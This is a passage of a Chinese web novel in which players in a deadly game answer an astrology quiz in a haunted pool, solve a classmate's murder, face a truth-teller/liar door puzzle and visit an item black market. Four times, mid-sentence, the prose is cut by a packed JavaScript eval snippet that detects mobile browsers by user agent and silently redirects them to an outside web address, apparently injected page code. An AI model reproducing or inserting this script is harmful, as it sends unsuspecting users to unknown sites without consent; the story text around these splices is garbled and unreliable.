“下面开始第一题。请看题目。”篮球头优雅地摆出绅士手,指向公屏。 【1.双子座的守护星是哪颗行星? A.金星 B.水星】 金乐儿和云真真对视,眼里满是笑意:就这? 排在第一位的扫把头阴着脸回答“B”。 【答案正确。】 【2.双子座的守护星水星代表什么? A.思维与沟通 B.情感与直觉】 轮到文诗书了。她眼睛睁得老大,满脸不可思议,显然不知道答案:“这是什么题?这也能算作考试?” “这是占星专业的最基础、最浅显的课程。”丁卯乐于认真回答字面上的问题,“你还在学那些基础学科?过时啦。” “提问!”白深抓到重点,“规则中并没禁止我们5个人之间交流,是否表示,答题过程中可以自由商议?” 篮球头面向5人站定,并未否认:“信息,总是要流通的。然而……” 话音未落,文诗书答出“B”,声音洪亮,坚定且不容置疑。 【答案错误。】 “哈哈哈……”篮球头仰头笑起来,“信息当然可以流通,真伪却难辨!” 一声尖叫被分割成两段,前半段尖利刺耳,后半段没入水中。 文诗书整体下沉了10厘米,只剩下半个脑袋留在水面之上。 她不得不艰难地仰起头,确保鼻孔露出水面,双眼死死瞪着云真真,要喷出火来。 白深也盯着云真真,眉头拧成了疙瘩,毫不掩饰责备之情。 她无奈地摊摊手,表示自己没有任何问题。 文诗书作答之前,云真真搞起小动作,通过手势给出了答案:伸出食指,比出“1”的手势。 然而左右手各伸出一根,A也行,B也有道理。 “你别那么快作答。”丁卯好心劝道,“好在还有半条命,下一题要是再错,可就得沉底了!” 【3.水星逆行会出现什么情况? A.信息传递混乱与技术故障 B.精神状态稳定与身体健康】 题目刚出现,辛晴自信地给出“A”,又歪头看向白深:“你记得吗?去年水逆,你讲公安信息学时笔记本坏了,投不了屏,我把我的拿到讲台上,没想到也莫名其妙坏掉了,我们班那节课,只好改上擒拿……” 九星连珠之前,原来他俩是师生关系。云真真默默听着平淡的日常,仿佛已是上辈子的事。 但若没有九星连珠,如白深所说,她还在做着底层工作,永远也不会跟他们困在同一个地下泳池中。 【4.水星在什么星座落陷? A.狮子座 B.处女座】 “狮子座,选A!”丁卯胸有成竹,“狮子座感性又喜欢表演,水星是一颗充满理性光辉的星座,这是它不舒服的位置,所以叫陷。水星如果在双子或处女座,就像回自己家那样舒服了,比如我……” 【答案正确。】 公屏似乎也不想再听他讲课,连忙闪出下一题。 【5.面对死亡,双子座特质强烈的人会倾向于哪种选择? A.沟通表达,公之于众 B.深究死因,伺机报复】 到白深这里,题目内容发生某种微妙的变化。不再是简单、孤立的定义或者概念。 题目所指的,是谁的死亡,又是谁的选择? “B是天蝎座会干的事。”丁卯给出分析,辛晴点头认同,扫把头冷笑了一声。 白深思索片刻,作出回答:“我选择A。” 【答案正确。】 他若有似无地瞥了一眼云真真,嘲讽道:“伺机报复不是明智选择。没有机会,创造机会也要报复,就更恶劣了……” 教育瘾外加圣母心,真是无可救药!碍于“面膜”,云真真无法还嘴,只能翻白眼。 “同学们,题目过半,你们是不是认为自己一定能通过考试啊?”篮球头的声音越来越奇怪,像是从水里发出的,咕噜咕噜响。 处于茫然中的四个半头,骤然消失在水面。咕嘟咕嘟的泡泡冒了上来。 几秒之后,四个半头重新浮出水面,咳嗽声、吐水声、叫骂声一片。 “最后一轮题目,如果答错,吸力会加倍哦。”篮球头笑着,“等你们,陪我一起玩。” 【6.古典占星学中,Anareta用来干什么? A.解读一个人的死亡方式和原因。 B.解读一个人生命的开始和展开。】 第六题一出来,玩家们不再嘈杂,陷入一阵可怕的沉默之中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784482|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这题和第一轮的题目不在同一难度上,超纲了。 “这个单词,我不认识。”丁卯摇摇头,“古典占星已经离我们很远了,何况又是西方的理论。” 倒计时不断跳动,扫把头终于浮现愤怒之外的表情,他开始感到恐惧。 靠猜,生死的概率各为一半。头顶的灯白惨惨,脚下的吸力正在增大,等待着将他拖入深渊,与阴阳头汇合。 “帮帮我。谁知道答案?”扫把头的声音颤抖起来。 “我倾向于选择A。”白深开口,“以前听过一张死亡重金属,专辑名称就是这个英文单词。封面画着一具骷髅。” 不确定都敢说?万一错了,可就违背你的“芸芸众生”价值观了!云真真只恨嘴巴被封得严严实实,说不出一点风凉话。 她对着扫把头伸出一根食指。表示选A。 死亡占星学,巧了,云真真研究过。做网络占星师时,看事业、看爱情的一抓一大把,竞争相当激烈。 然而研究死亡占星的,可是一片蓝海。 扫把头只能相信两个看上去还算厉害的队友。 【答案正确。】他如释重负。 云真真对着他比了个剪刀手。让扫把头欠一个人情,就能进一步探索“猎鹰组织”和冷观的秘密。 秘密总是能换到钱的。 辛晴的关注点全在白深身上:“队长,你听死亡摇滚金属?我还以为你只听古典音乐呢……” 【7.第八宫内有火星、冥王星或土星,预示着什么? A.严重疾病 B.非正常死亡】 题目中再次出现死亡等字眼,空气温度随之降低了好几度。 不等众人讨论,文诗书激动地大喊起来:“选B、B、B!上道题做错,输给云真真,这道题做对还有什么意义?我活着还有什么意义?我选择非正常死亡!死!死!死!!!” 云真真看疯子一样看她:你该选A,严重疾病,心理方面的。 事与愿违,公屏显示【答案正确】,文诗书再次陷入输给云真真的痛苦之中。 【8.水星处于双子座的最后一度(29度)时,预示着什么? A.思维敏捷,清晰理性 B.思维终结,死亡将至】 “队长,你说选什么?”辛晴眼巴巴看向白深,“你还听过什么29度灰之类的专辑吗?” “那是五十度灰,也不是专辑,而是电影……”丁卯严肃地纠正。 “选B。”白深轻轻叹了口气。这些人,为何一个比一个疯癫。 辛晴毫不掩饰对白深的崇拜,云真真尽收眼底。也不奇怪,他们是师生、是队友,是一路人,富裕的那一条路。 【答案正确。】 【9.命主星水星位于8宫合土星,刑8宫主月亮、12宫主冥王星,盘主的死因为: A.暴力打击致死 B.溺水而亡】 丁卯盯着天花板认真思索一番:“水星、土星、月亮的象征有很多,大致筛选一下交集,与胸部、肺部,潮湿,水等元素相关,应该是A。” 白深给予肯定:“从所有题目的关联,和我们被困的地点来看,我同意你的看法。” 【答案正确。】 在玩家们松了一口气的时候,与众不同的第十题出现了。 【10.请根据上述题目,推断出盘主进入体育馆后发生的事。】 37. 小镇做题家(12) 一池绿水暗流汹涌,如同一碗冰冷的“海龟汤”。 倒计时一秒一秒跳动着,白深泡在“汤”中,面色苍白、薄唇紧闭,思绪以光速飞奔,将所有线索编织成一张合理的逻辑网。 “进入体育馆后,盘主先打了一会儿篮球。”白深直视篮球头,眼神锋利,似乎要刺穿他那张平脸,“接着按要求打扫了篮球馆。” “那天,恰逢在水星在狮子座29度逆行。打扫完毕,他准备离开体育馆时,却发现门坏了,用尽办法也打不开,手机也没法使用。” “学校为了准备在统考中取得好成绩,封锁了体育馆区域,禁止学生靠近。于是,他的呼救声无人听到。如星象所示,所有沟通交流都被切断。然后……”白深停顿几秒,才继续说下去,“他被困在体育馆中无人知晓。” “又渴又饿的情况下,他只有下到负一层去喝泳池里的水。” “饿了几天,身体十分虚弱,他失足溺亡。” “此事最终被认定为自杀。而他希望将真相公之于众。回答完毕。” 【答案正确。】 啪啪啪……篮球头拍起手来。掌声回荡在游泳馆内,更显孤单。 束缚云真真三人的“面膜”终于脱落。她立刻揉揉脸,扯扯耳朵。 水中玩家们脚下的吸力骤然消失,纷纷爬上岸来,拧着校服上的水。 “孩子,你……这么惨吗?”红袖标阿姨小心翼翼地走近篮球头,啧啧感叹惋惜。 “二模考试通过。你们可以走了。”篮球头不愿接受怜悯,轻轻一弹,跃上高高的救生椅,俯视着玩家们。 金乐儿扭头就要出去,被云真真一把薅了回来。 “你是鱼脑子?记得教导主任的要求吗?泳池内不能有任何杂物。”云真真看着一池水。“离开体育馆,那个任务就失败了。” “这……池水如此浑浊,5厘米开外就看不见了!三头大象藏在里面,也不足为奇。”丁卯心疼沾水的笔记本,连连摇头。 “这倒是不难。我潜下去,一平米一平米拉网式清理!”辛晴潇洒地甩着短发上的水。 “我跟你一起去,我水性还行。”金乐儿连忙凑近乎。 “考完试赶紧滚出去!”篮球头发突然厉声尖啸,“泳池是我的地盘!” “你这孩子咋这样呢?”红袖标阿姨急得跺脚,“死因都帮你搞清了!人家不都说,厉鬼的冤仇报完了,就能去投胎了嘛!” “还没报完。”云真真冷静地拉回阿姨,指向游泳池。 池水的灰绿色迅速褪色、变暗,阵阵小波浪此起彼伏,一朵朵灰红色浪花翻涌上来,最终变为一池刺目的血水。 异物接二连三漂上来露头,灰色、黄色、骨头青,看上去都不是什么好玩意儿。 “现在,你们打算如何清理呢?”篮球头俯瞰着定在原地、感到害怕的玩家,颇有兴味。 离开体育馆,面临着“泳池清理”任务没有完成;留在这里,又不敢轻举妄动。 双子座的两面,都写着同一个“难”字。 翻涌的红在云真真的双眸中跳跃着。红,是绿色的对比色。 擦干一层的地板象征露出真相,那么再下一层……云真真的目光移向沉默的文诗书。 即使是血污池,也不得不潜下去了。 “这位篮球同学,第二题最后一问,我想再回答一次。”云真真径直走到救生椅下方,昂头向篮球头喊话。 “仅代表你个人就好。”白深话语言简意赅,将她与要保护的“芸芸众生”划清界限。 “如果我喝光这碗‘海龟汤’、露出真正的汤底,你等芸芸众生会不会想要分上一碗?”云真真轻蔑一笑,等待篮球头的回复。 篮球头一跃而下,站在泳池边缘,妖风吹动着他宽大的校服:“可以。如果答错,你得永远陪我玩篮球。” “白深同学的给出的答案,是你想要并且接受的答案。”云真真目光锐利,“然而,答案是答案,真相是真相。” 篮球头肩膀微微一颤。 “进入篮球馆之后,你先打了一会儿篮球没错。但是,来的人不只有你一个。” “咋个推出来的呀?不要瞎猜呀闺女!喜欢打篮球咱也别着急?”阿姨替云真真着急。 “前两道选择题,看似简单孤立,因此白深在推理的时候没有使用。实际上,进入体育馆那天,篮球同学充分发挥双子座特质,和别人沟通交流过。”云真真给出依据,示意阿姨放心。 “但那天,恰逢在水星在狮子座29度逆行,落陷的水星行至死亡度数。他盼望的沟通交流戛然而止,被永远阻隔了!这种阻隔,不排除人为原因!全都推给星星,是卑劣的行为!” 云真真猛然转身,直视文诗书,语速加快、声音拔高:“另一个人把他的手机扔进游泳池,他不得不去捡。但他水性不佳,拼命扑腾到岸边,却被另一个人再次踹了下去。反复几次,他溺水而亡。” “那一天,月亮水星相刑,也就说明……另一个人是女性!”云真真挑眉,“对吧,文诗书?” “你……”文诗书脸颊涨红,扬起双臂刚要发作,金乐儿眼疾手快,一把擒住。 “确认他死亡之后,你擦干痕迹,故意破坏门锁,悄悄溜走,造成他失足溺水的假象。” “这样解释,星象能对得上。但是动机如何理解呢?文同学一心只读圣贤书,不应该啊。”丁卯从笔记本上抬起头。 “谜底就在谜面上,动机仍是双子座的领域——读圣贤书。”云真真目光炯炯,“几年前,学校各项考试中,文诗书千年老二,他是千年老三。但我退学之后,他成为了第一。文诗书把矛头对准了他,就像曾经对准我那样,对不对?” 文诗书的脸上终于浮现出平脸以外复杂的表情,恨意控制不住:“云真真,原来你一直都在装傻,一直都知道!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794651|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >云真真轻轻一笑,食指轻点太阳穴:“哦,想起来了!你把我数学书扔进游泳池那次,肯定也盼我下去捡吧?可惜,书的内容我早就记在脑子里了。篮球头,我高中阶段很孤僻,一心只想通过学习改变命运,所以不知道你的名字,更对不上你的脸。但你一定就是次次考第三的那个。” “谋杀与意外身亡……这说不通。如果你的推理正确,那篮球脑袋……为什么也算队长回答正确?”辛晴一脸不解。 “这是他希望得到的答案,并不是真相。”云真真毫不留情,“篮球同学,你喜欢文诗书吧?” 篮球头的肩膀突然抖动起来,越来越剧烈。 “啊?”“什么跟什么?”问号从其他人的头上纷纷冒出来,甚至连文诗书也不例外。 “文诗书,你读书读到走火入魔,只想得第一。谁超过你,你就要除掉谁。可悲可悲,你的全部人生,只有游泳池这么大。”云真真冷笑,“但是上了大学之后呢?比你排名高的人那么多,你除得完吗?毕业之后呢?工作之后呢?” “篮球同学跑到广播室胡闹,考第一名,邀请你去打篮球,不过是为了获得你的关注。谁知道却因此送了命。”云真真嫣然一笑,“回答完毕,正确与否?” “正……正确。”篮球头颤抖着转身,唯独不敢看文诗书的脸,“双子座的脸……不会只有一张。” “游泳池里的血水下降了!”阿姨拍起手,扯开大嗓门。 池底仿佛开启黑洞,满满一池水转眼之间迅速被吸走。 蓝色马赛克池底完全暴露出来。一个比巴掌大、薄薄一层的不明物体孤零零躺在蓝色池底。 “把那个东东捡出来,清理泳池工作就完成了!”云真真伸了个懒腰,像完成了一项计件工作。 辛晴矫健如豹,三两下捞回不明物。 篮球头夺过不明物,慢慢走到文诗书面前,颤抖着将不明物安在脸上。 不明物与平脸紧紧贴合,变成一张泡到浮肿发白、腐烂破碎的脸庞。 “现在这副模样,你,注意到我了吗?”篮球头笑着,眼皮肿胀到睁不开,嘴角的皮向上掀起,露出血肉。 “她说得没错。高一入学起,我就注意到了你。你总是很紧张、很神经质,努力向上的样子十分可爱……我制造各种机会和你相遇、说话,你都视而不见。 “最后我发现,只有考得比你差,才有一丝丝机会向你请教题目。” “云真真退学后,我熬夜苦读,打算以第一名的身份向你表白。没错,那些广播、打篮球之类的傻事,看上去是我被学校逼疯了,其实是我计划的一部分。”篮球头浮肿的脸颊闪烁着泪光。 “你……神经病啊!”文诗书眼睛睁得溜圆,泪水汩汩流下,公式定理、单词语法、名次成绩以外的东西,首次进入她的视线。 【叮!小镇做题家副本,地下泳池隐藏线任务已完成,奖励将在通关后结算。】 38. 小镇做题家(13) 体育馆之外,天空极为诡异。 分不清此刻到底是清晨还是黄昏——太阳与弯月同挂天边,日不亮,月不明,整个校园淹没在一片混沌之中。 “哎呀,日月合相,情感与行为不再互相违背,终于统一了。”云真真观察着篮球头腐烂骇人的脸,猜测天象一定与他相关。 “白天与黑夜交替,自然存在不明不暗的中间地带。”篮球头双手插兜,笑意渗人,“It’smytimenow!” 篮球头飞身跃起,光速俯身下冲,“咚、咚、咚”,头部如最坚实的篮球般弹地而起。 血肉因强烈的撞击飞溅到路旁。他却毫不在意,一路向教学楼的方向冲去。 “他这是要干啥啊?”金乐儿望着他的背影,“突然想起小时候唱过那首歌:我去炸学校,天天不迟到……” 话音未落,水泥地面猛然剧烈摇动,云真真和阿姨站不稳,一同踉跄着撞进白深怀中,其他玩家也东摇西晃,纷纷跌倒。 丁卯捡回2米开外的眼镜,哆哆嗦嗦地戴上:“地震至少有9级!学校震坏了,毕业考怎么举行呢?” 他摩挲着黑色笔记本。这个副本记录下不少有用信息,誓死也要送回去! 辛晴皱眉拉起云真真,又向被压扁的白深伸出手:“队长,我们是不是要阻止篮球头?” “他想报复学校……”白深自行起身,不忘拍去校服白T上的灰尘,“跟上观察一会儿再决定。” “他最应该报复的人,是文诗书吧!”扫把头遭遇两名队友的死亡之后大受打击,难得发表意见。 “哎呀,这你就不懂了,直男一个。他喜欢她,怎么舍得报复?”云真真先阴阳怪气一番,声音在持续不断的地震中带着颤音,“他肯定认为,文诗书成为今天这样,是学校唯成绩论、要求听话的结果……” 文诗书丢下一声冷笑,拔腿向篮球头的方向跑去,脚步坚定而稳健。 刺耳的警报声突然长鸣,喇叭中传来广播声:“请各班同学迅速到操场集合!因不可抗力因素,毕业考试将提前举行!请各班同学迅速到操场集合……” 操场上一片鸡飞狗跳。 平脸同学们狼狈地逃到操场,有的跑掉鞋光着脚,有的穿睡衣露出肩,怀里却牢牢抱着《高考单词□□》《数理化公式大全》等参考书。 “啪!”“啪!”篮球头精准打击,一头一本,把参考书重重打翻在地。 一个倒霉的平脸同学刚想捡起来,却被文诗书死死踩住。 书的封面印着烫金体《刷高考真题,不做无用功》,文诗书刚好踩住几个字,只剩下“真无用”。 平脸同学一直眯着的双眼,如同窥见宇宙真相,猛然睁大了。 文诗书脸上闪烁着快乐而疯狂的光,边跳踩参考书边哈哈大笑:“有什么用!这些东西有什么用!考上了又怎么样?还不是个失败的小镇做题家……” 【叮!毕业考已经提前开启。请小镇做题家前往操场入口考场区域。天灾人祸可以发生,考试却不能停止哟!】 玩家们得到圣旨一般向考场跑。毕竟这里看上去很疯狂,随时会失控。 “嘿!想起贾宝玉大闹学堂来了。”金乐儿恋恋不舍地频频回头,“这景象,也就在电视里看过。” “那你别参加毕业考呀!永远在这儿呆着吧,让你看个够!”云真真抓着金乐儿衣角,努力在剧烈摇动之中保持平衡。 “小云呐,你说……”阿姨紧紧抓住云真真的手,“考不过是不是就真得留在这儿了?” “肯定会考过的!你女儿还在等你回家,给她换智能义肢!”云真真安慰阿姨,又回头看向白深,“白深,你说对吧?阿姨可是芸芸众生之中非常伟大的一个。” 白深有些厌烦地扭过头。总是调侃我严肃的价值观,小市民做派。 操场入口处出现两道之前并不存在的铁门。 两道门并排而立,大小相同,一黑一白。 黑门如同一个黑洞,似乎要把一切吞入其中;白门像一片白云,蕴藏着纯洁与善意。 门口各站着一个平脸人,身着黑衣的站在白门面前,身着白衣的站在黑门面前。 “黑白无常?”金乐儿吐出舌头,猛然又缩回去,“呸呸呸,瞧我这破嘴,不吉利!” 【毕业考试题目:黑白两扇门中,有一道生门,一道死门。黑白与生死并不对应。 黑白两位看门人,一位说真话,一位说假话。黑白与真假并不对应。 每位小镇做题家只能选择一位守门人,问一个与门相关的问题,守门人只会回答是或否。 小镇做题家通过守门人的回答判断选择推开哪一扇门。 选择生门的,离开学校。选择死门的,留在学校。 说明:每位玩家问出问题之后,门与看门人都将刷新。 限时1小时。】 “眼前的黑不是黑,你说的白是什么白……”其他玩家认真思索之时,云真真小声唱了两句,立刻收到其他人看变态般复杂的眼神。 “真真妹子,你是麦霸啊?”金乐儿汗颜,“想起你在血色大富翁里,也在徒手抓着一块块头皮的紧要关头,唱了一首什么下雪的歌。” “这首歌唱的没错嘛,白门不一定生,黑门不一定死,什么都不对应。”云真真表示她是在认真分析,跟变态不沾边儿。 “都不对应……提问还有啥意义?”金乐儿挠挠头,“如果我随便抓一个问,你守的是生门吗?他就算回答是,我也不知道他说的是真话还是假话。” “这是一个逻辑问题……”丁卯摊开笔记本,用起穷举法排列组合,“把门命名为1号、2号,守门人为A和B。那么就有1生A真,1生A假,1死A真,1死A假四种情况。” “难就难在只能问一个问题上面……”丁卯频频抓头。死脑子,快想啊! “对。”云真真点头,地面持续摇晃,她开始头晕,“如果能问两个问题,第一题可以验证他是否说真话,第二题再问他守的是不是生门就解决了。” “只能问一道题……就必须把两道门和两个人嵌套在一起提问!”云真真索性坐在地面上进一步思考。 “门……每次都会刷新。”扫把头显然不擅长逻辑题目,主动靠近大部队,“这个问题,得大家通用才行。” “那可有点困难哦。”云真真将他的慌张与小心思尽收眼底,用下巴指向白深,“但是有白队长在,他肯定有办法。” 红袖标阿姨坐在原地,眼神放空,不知道在思考什么。 “阿姨,答案我想出来了,别担心。”云真真靠近她,轻声耳语,“咱们先看会儿热闹。” 不知为何,云真真总感觉阿姨并未真正放心,笑容中流露出勉强与无奈。 目光转向混乱成不堪的操场,已有老师和几名“同学”遭到篮球头的重击,倒在地上一动不动。 其余“同学”惊叫着四处逃窜,时不时倒地一个,立刻遭到他人的踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811914|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踏。 文诗书还停留在那里。她夸张地大笑大跳,为篮球头振臂叫好,重重踩踏教科书,似乎要把学生时代压抑住的所有情绪一次性释放。 “我去把文诗书叫过来。”白深向操场走去,“通用的解法,想到了。全体玩家到齐之后公布。” “队长,等等我!”辛晴紧随其后。 “切,拽什么拽!”金乐儿看着两人矫健的背影,又低头瞅着脚上破破烂烂的杂牌球鞋,“不过就是个二代,有钱,长得帅,还脑子好……” 同样身着校服,却还是能分出高下。 倒计时只剩半小时,白深和辛晴依然没能把文诗书带回来。 地面变成一个游乐场中的巨型“迪斯科转盘”,摇晃得越来越厉害。 云真真在丁卯面前踉跄地蹲下来,一同研究他密密麻麻的笔记本。 丁卯眼中闪着兴奋的光,手微微颤抖着:“这个办法可行!小云,你再帮我验证一下。” 扫把头连忙凑过来看,云真真索性把大家都叫过来,一同分析。 每个人要问出的那句话,写在笔记本正上方。 随机指向守门人所守的门,问他:如果我问你旁边的守门人,我指的这道门是生门,他会说是,对吗? 云真真瞟了一眼,立刻大声夸赞:“丁哥不愧是教授级别的,答案没问题!” “你这么快就验证完了?”丁卯怀疑地盯着她,“你早就想出答案了?” “没有。”云真真连连摆手,“你刚才已经穷举出4种情况,我只是一一验证了一番。假设我问的人组合为1生A真,那么他会回答“否”;1生A假,他会回答“否”,1死A真,他会回答“是”;1死A假,他会回答“是”。 “这……是和否又能证明什么呢?”扫把头依然不明白。 金乐儿一拍脑门儿:“我懂了我懂了!回答‘否’的时候,他守着的门一定是生门!回答‘是’的门,就是死门!” “BINGO!”云真真比出一个大拇指,又再次解释给阿姨听,“手指一道门,对着守门人问出固定问题,他回答‘是’,进入另一扇门;回答‘否’,进入手指的这扇门。阿姨,你听明白了吗?” 阿姨心不在焉地点点头,眼神向操场方向飘去。 “既然无误,我先走一步了!”丁卯点头表示歉意,“资料得快点交回院里。” 他进入考场区域,提问声音似乎被完全屏蔽掉,只能看见嘴巴在动。 守门人回答之后,背后那扇门开启,丁卯走进去之前,微笑着和大家挥挥手。 “阿姨,你先去吧!”云真真紧盯着阿姨。 “我……我要回去取红袖标。”阿姨转向体育馆的方向,“出去之后,还要努力赚钱才行。” “我陪你去……”云真真话音未落,突然瞥见扫把头疾步走向考场区域。 她不想放过这条大鱼和与道具有关的神秘组织。已经卖了人情,总得收收网。 白深和辛晴正好匆匆跑过来,看样子没能说服文诗书。 “阿姨交给你负责!”云真真朝着白深挥手大喊,立刻转身跟上扫把头。 顺利走出“生门”之后,终于回到了也不怎么好的现实。 初冬的冷风吹得人发抖,云真真却顾不上,紧跑两步一把揪住扫把头,努力套着近乎。 不一会儿,其他玩家接二连三地走出来:金乐儿、辛晴、白深。 白深手上,拿着一个刺目的红袖标。 39. 暗面 出租屋的小矮桌上,堆着五六个外卖盒子,有的吃了一半,有的还没开口。 云真真仰面躺在床上,摆弄着绒布彼岸花。 窗帘拉得严严实实,房间晦暗,只有一团鲜红刺痛着视神经。 与羊毛卷阿姨的红袖标渐渐重叠。 那天,白深想把红袖标转交给云真真,她毫不犹豫地拒绝了。 人既然不在,留下一个没用的东西干什么呢? 在妈妈那里,经历过一次已经足够。 妈妈葬身火海之时,她日常使用的缝纫机,总是插着两三朵太阳花的蓝色小花瓶,充满成长回忆的唯一一本相册,甚至残留着发丝的塑料发梳都随她而去。 唯独这朵彼岸花留了下来。 云真真有些后悔,当初应该要一个圣诞老人的。 彼岸花的花语是悲伤的回忆,绝望的爱,无尽的思念,死亡与轮回之类的东西,太不吉利。 也因为红袖标,云真真与白深发生了争执。 那天,阿姨在毕业考试之前,将红袖标交给白深,让他转交云真真,谢谢她给予的帮助。 云真真听后瞪圆杏眼,连珠炮一般指责白深:“你是榆木脑袋吗,不知道劝说一下?拯救所有玩家,真是天底下最假大空的笑话!核心价值观到哪里去了,上天了不成?” 白深皱眉:“每个人都有选择生死的权利,我们只会全力营救想要活下来的人。” 云真真吃惊地张大嘴巴:“是不是我们底层的人命贱一些,不配得到一丝丝劝慰?” 金乐儿拍拍她的肩膀:“算了,白队长解释过,阿姨是想赚那笔游戏测试员牺牲的抚恤金,为她女儿换智能义肢嘛……” “她明明可以直接跟我们说的,她可以说的……”云真真喃喃念着,又冷笑道,“你有那么多钱,却眼睁睁看着一个老人,以鲜活的性命交换一副冰冷的义肢。” “够了!”辛晴挡在白深面前,“说这么多废话,你又和阿姨什么关系?你别忘了,阿姨最后选择求助的人,是队长,而不是你!” “没错!我是个爱报复爱杀人的女变态,她不愿意向我求助。”云真真冷笑着点头,眼神冷若冰霜,“我们的关系,不过是底层人之间微弱的怜悯,比不过你们高高在上的施舍。” 话毕,云真真决然转身,甩开大步离开。 白深紧跑两步追上,云真真,星座游戏,彼岸花……无数线索还未串联,太多秘密尚待揭开。 无论他作何解释,云真真一概不理。只有金乐儿在一旁尴尬地搭讪。 “阿姨得了肺癌,已经进入晚期了!”辛晴实在看不过队长如此受冷落,说出实情,“她本来不让我们告诉你,但你实在太不讲道理了!” 云真真猛然停下脚步,扭头盯着辛晴气不打一处来的表情,浇上一盆冷水:“她得什么病,是活还是死,跟我有什么关系?” 白深听闻,推断继续谈下去不会推进调查工作,便对辛晴一挥手,两人停在原地。 过一两天,等她消了气,钞能力就会重新奏效。 然而今天已是第四天。 除非金乐儿来送饭,否则她连门都不开。 她有些被自己吓到了。 说好断情绝爱、只向钱看,却被区区一张红袖标动摇了情感。 这样不行。 查看存款余额,心算一番,云真真立刻起身,用冷水洗脸刷牙,又将毛绒绒的短发抓出好看的纹理。 挑了一件机车外套,她拨通了电话。 半小时后,震耳欲聋的发动机声在附近响起,云真真精神抖擞地走了出去。 吉普车上,死亡重金属摇滚吵得人脑仁疼,坐在副驾驶的云真真“咔”一声关掉音乐。 “哎哟?怎么着?”后排的非主流红发男子故意以一种流里流气的口吻嘲笑,“终究是个妞儿,不懂这种艺术!” 云真真扭头恶狠狠盯着红头发,张大嘴巴,发出一声标准的黑嗓“Er……”,外加两个单词,“DAMNIT”! 红头发缩回脖子吐舌头,手放在太阳穴敬礼以示歉意。 扫把头边开车边哈哈大笑,和副本中那个忧伤、愤怒、恐惧的人判若两人。 车子在一栋没有标牌的建筑前停下。 整栋建筑呈元宝形,占地面积不小,像是经常举办商品展览会博览会的场馆。 停车场停放的车辆也像一场豪车博览会。 这里是“猎鹰组织”开设的星座道具交易市场。 八个壮汉分立在大门两边,见扫把头到来,齐声喊“三哥好!”。 “怎么,你还有天竺血统?”云真真调侃他。 “嘿,你再说一遍试试!”扫把头装腔作势,但剃了头发后就是个普通混混,“我现在就跟看大门的说我不认识你,看他们不立刻把你卸成八块分了。” “三哥饶命,再也不敢了!”云真真连连作揖。 场馆中央设一块巨型屏幕,正在滚动播放稀有道具相关信息与拍卖会时间、场次。 形形色色的人驻足观看,有穿着考究、手拄拐杖、身后跟着3个保镖的白发老头儿,也有一身洛丽塔装扮、手拿阳伞的大小姐,还有带着面具的神秘人。 云真真不禁感慨,这场地,这格局,比白深那个什么SB局气派多了。 场馆两侧,是个人交易区。与中心交易区相比,这里的平民气息浓厚了一些。 云真真在一个戴墨镜的女人摊位前停下脚步,装作常来的样子要求看货问价。 女人点开屏幕共享,里面有2个道具,快速扫了主要信息。 【狮王咆哮】——使用后立刻获得所有玩家的好感,持续30分钟。 【有仇必报】——在棋牌或金钱类游戏中,若有人夺走你的财物,你将立刻夺回两倍财物。 得知售价之后,云真真的眼睛顿时闪起了星星。 “快带我去鉴定估值中心。”云真真推着扫把头。 “再跟你确认一遍啊!”扫把头严肃地说,“进入鉴定估值环节的只能是稀有道具。你不提前给我确认,万一不是稀有道具,我可是要被老大骂的!” “我连你的命都救过,还能害你不成?”云真真豪气地拍拍扫帚头肩膀。 不提前给他看的原因,自然是防他一手杀人越货。 她拿出战胜隐藏白羊王获得的【暴力抢夺】,鉴定估值进行地很顺利,开出一个令人满意的价格。 尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823175|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管要收取15%的高额手续费,云真真依然选择把【暴力抢夺】放在这里拍卖。 她清楚,有了这个道具,扫把头也会得到组织的好处,两人的关系将进一步拉进。 而手里还握着金牛座道具和刚得的双子座道具。 离开之前,她故作神秘地悄悄问扫把头:“其实……你们交易的东西,不只是道具吧?” 扫把头有些错愕,不自然地回答:“所有东西你都看到了,公开透明。” 云真真调皮地挤了下眼睛:“嘿!中心交易区域的稀有道具,除了我这种疯子,谁还会拿出来卖?” 